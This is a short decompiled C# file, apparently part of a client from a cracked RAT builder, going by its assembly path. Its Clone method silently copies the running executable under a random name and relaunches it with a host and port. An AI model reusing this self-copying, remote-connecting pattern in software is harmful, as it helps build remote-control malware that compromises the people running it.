33 lines
930 B
C#
33 lines
930 B
C#
// Decompiled with JetBrains decompiler
|
|
// Type: ShareClient
|
|
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
|
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
|
|
#nullable disable
|
|
public static class ShareClient
|
|
{
|
|
public static void Clone(string host, string port)
|
|
{
|
|
try
|
|
{
|
|
string fileName = Process.GetCurrentProcess().MainModule.FileName;
|
|
string destFileName = Path.Combine(Path.GetDirectoryName(fileName), Guid.NewGuid().ToString() + ".exe");
|
|
File.Copy(fileName, destFileName, true);
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = destFileName,
|
|
Arguments = $"{host} {port}",
|
|
UseShellExecute = false
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|